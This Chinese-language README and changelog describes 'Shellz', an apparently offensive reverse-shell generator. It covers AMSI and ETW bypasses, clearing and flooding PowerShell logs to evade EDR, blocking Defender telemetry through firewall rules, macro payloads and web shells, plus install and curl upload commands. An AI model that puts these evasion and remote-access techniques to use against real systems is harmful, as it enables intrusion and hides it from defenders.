Shellz
一个快速简便生成常见反弹shell的脚本。
特别适合在需要PowerShell和Python反弹shell时使用,这些shell的格式正确配置往往很麻烦。
PowerShell 反弹shell
- 在提示符和工作目录上方显示用户名@计算机.(域名)
- 包含部分和完整的AMSI绕过。
- TCP、UDP和SSL shell
- 新增自定义TCP反弹shell!
- 新增自定义SSL反弹shell!
- 反射加载 theart42 的 出色 Sharpcat!
- Windows PowerShell 和 Core PowerShell
- 用于上传和下载文件的函数。(使用 sc0tfree 的 Updog)
Python
- 没有PowerShell?没问题!
加载嵌入式Python。经过签名且受微软智能安全图信任。
ngrok 支持
- 可以在脚本内部启动/停止 ngrok
- 将使用 ngrok 地址生成 payload
Updog 支持
- 可以在脚本内部启动/停止 Updog
- PowerShell 反弹shell 内置上传/下载功能
- 在 nix 系统上使用 curl 上传:
curl -F path="Updog文件夹的绝对路径" -F file=文件名 http://UpdogIP/upload
从 git 安装 Shells
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
在 BlackArch 上安装 shells:
截图

必需的依赖项
netcat, rlwrap, jq, basenc (coreutils)
可选的依赖项
updog, ngrok, xclip
YouTube 视频
Shellz 1.7.5
版本 1.7.7
- 在 PowerShell 部分添加了 Windows Terminal Init 选项
版本 1.7.6
- 在 Python 部分添加了在 VBA 宏中使用嵌入式 Python 的选项
版本 1.7.5
- 在 PowerShell 部分添加了使用 msbuild.exe 进行分阶段加载受限语言模式绕过的选项
版本 1.7.4
- 更改了嵌入式 Python 的 payload。不再将脚本保存到磁盘
- 对 Python 反弹 shell 进行了一些混淆处理
版本 1.7.3
- 修复了 Windows 平台 Python3 payload 中的拼写错误
- 添加了使用嵌入式 Python 在未安装 Python 且不使用 PowerShell 的 Windows 机器上获取反弹 shell 的选项
版本 1.7.1
- 在 SSL shell 的提示符中添加了 PS
- 缩短了完整的 AMSI 绕过
版本 1.7
- 移除了当 Updog 首次未启动时显示"updog is not running"的消息
- 移除了菜单中一些自动选择输入项
版本 1.6.9
- 修复了 block MDE 命令中的错误
- 添加了 init 命令选项:cmd, conhost, powershell(如果 payload 超过 8191 个字符,必须直接从 powershell 启动)
版本 1.6.8
- 在"Microsoft-Windows-PowerShell/Operational"日志中填充更多条目,以确保脚本初始执行被推送出去(仅当目标启用了 scriptblock logging 时有效)
版本 1.6.7
- 之前只有 URL 安全的 Base64 编码。添加了普通的 base64 编码 payload。
版本 1.6.6
- 添加了填充 PowerShell 日志的选项。它将启动一系列 PowerShell 会话,传入长字符串后退出。当启用了 scriptblock logging 时,这将填充日志,从而有效地将较早的日志条目推出,移除 shell 自身生成的事件。可能有助于防止 EDR 检测。已在 SentinelOne 上成功测试。
- 修复了令人困惑的菜单选择。移除了大多数菜单中选项的自动输入。
- 添加了 Metasploit Multi/handler 监听器
版本 1.6.5
- 添加了 PowerShell ETW 补丁
- 添加了 PowerShell 嵌入式完整 AMSI 绕过
- 添加了 payload 长度检查。Windows 命令提示符(cmd.exe)中可使用的最大字符串长度为 8191 个字符
版本 1.6.4
版本 1.6.3
- 在 PowerShell payload 中添加了变量扩展,使其能够从例如批处理文件中运行而无需修改
版本 1.6.2
版本 1.6.1
版本 1.6
- PowerShell:添加了反射加载 Sharpcat 的选项
版本 1.5.9
- PowerShell:新增自定义 SSL shell
- PowerShell:添加了选择 TCP/UDP/SSL 的选项
- PowerShell/OpenSSL:使用 SSL 时默认使用正确的监听器
版本 1.5.8
- 更新了安装程序以使用包装脚本(从 < 1.5.8 升级时请记得删除 /usr/local/bin/shells)
版本 1.5.7
- PowerShell:构建了一个独特的 TCP 反弹 shell,不使用 Net.Sockets.TCPClient
- PowerShell:远程错误消息现在能正确显示
版本 1.5.6
版本 1.5.5
- 在其他 payload 中添加了更改 shell 的选项
版本 1.5.4
- PowerShell:修复了 NIX payload
- PowerShell:更新了用于反射加载 C# 的 payload
版本 1.5.3
- PowerShell:在菜单中添加了 payload 选项
版本 1.5.2
- PowerShell:更改了反弹 shell 以绕过更多杀毒软件
- PowerShell:添加了防火墙规则,阻止 MS ATP 外连(如果当前用户有权访问)
- PowerShell:更新了 VBA(MS Office 宏)
版本 1.5.1
- PowerShell:禁用 scriptblock logging 和 CheckSuspiciousContent
- PowerShell:清除 PowerShell 事件日志(如果当前用户有权访问)
版本 1.5.0
- PowerShell:添加了用于 MS Office 宏的 VBA payload
- 添加了一些 node.js payload
版本 1.4.9
- 添加了一个简单的 C# shell
- 添加了将 C# shell 反射加载到内存的 payload(需要完整的 AMSI 绕过)
- 通过添加 Rastamouse 的完整 AMSI 绕过实现
- PowerShell:可以自动上传并运行完整的 AMSI 绕过。部分 AMSI 绕过使得这成为可能
- C# Shell:在加载到内存之前自动上传并运行完整的 AMSI 绕过
- 每个菜单中显示 Updog 和 ngrok 状态
版本 1.4.8
- 有时少即是多。移除了 TCP/UDP PowerShell 反弹 shell 上的混淆,因为实际上它触发杀毒软件比绕过更多,并且 payload 变得非常大 :-) 仍然使用随机化。
版本 1.4.6
- 添加了网络 shell(ASPX, PHP, JSP)
版本 1.4.5
- 添加了 2 个 Windows 32 位和 64 位的 C++ 反弹 shell 二进制文件
版本 1.4.4
版本 1.4.3
- 添加了 Updog 支持
- 添加了 Netcat 二进制文件
- PowerShell:创建了上传/下载功能(上传需要 Updog 接收文件)
- 添加了关于运行 ngrok 和 Updog 的更多信息
版本 1.4.2
- PowerShell:添加了一个新的"迷你 AMSI 绕过"(部分绕过)。基于 Matt Graebers 的反射方法
- PowerShell:在 PowerShell 反弹 shell 中添加了"上传"函数
版本 1.4.1
版本 1.4
- 为 PowerShell payload 添加了 AMSI 绕过
版本 1.3.9
- 修复了设置端口时的 bug
- 将默认端口更改为 443
- PowerShell:进一步混淆处理
版本 1.3.8
- PowerShell:对 UDP payload 进行了小幅更改
版本 1.3.7
- 在 macOS 上仅使用原生 nc,因为 Homebrew 的版本在传入 UDP 时无法工作
- PowerShell:添加了 UDP payload
版本 1.3.6
版本 1.3.5
- PowerShell:为 payload 添加了一些随机化和混淆
版本 1.3.4
- PowerShell:在 payload 中使用 UTF8 编码
版本 1.3.3
版本 1.3.2
版本 1.3.1
- 修复了 Python 反弹 shell 中的 bug
- 添加了 awk
- 添加了 Bash UDP
版本 1.3
- 添加了 Windows Python 反弹 shell
版本 1.2.9
版本 1.2.8
版本 1.2.7
- 修复了安装选项:按回车而不做选择时不再执行默认选项
版本 1.2.6
版本 1.2.4
版本 1.2.3
版本 1.2.2
- 添加了以下语言的 shell:Ruby, Perl, Telnet 和 zsh
版本 1.2.1
- 在 macOS 上使用 pbcopy 添加了复制到剪贴板功能
- 添加了关于监听 netcat 的信息,因为 macOS 版本不显示该信息
版本 1.2
- 添加了循环 netcat shell。每 10 秒回拨一次。非常适合丢失 shell 的情况
- 在 macOS 上运行时,添加了对 netcat GNU netcat 0.7.0 Homebrew 的检查
版本 1.1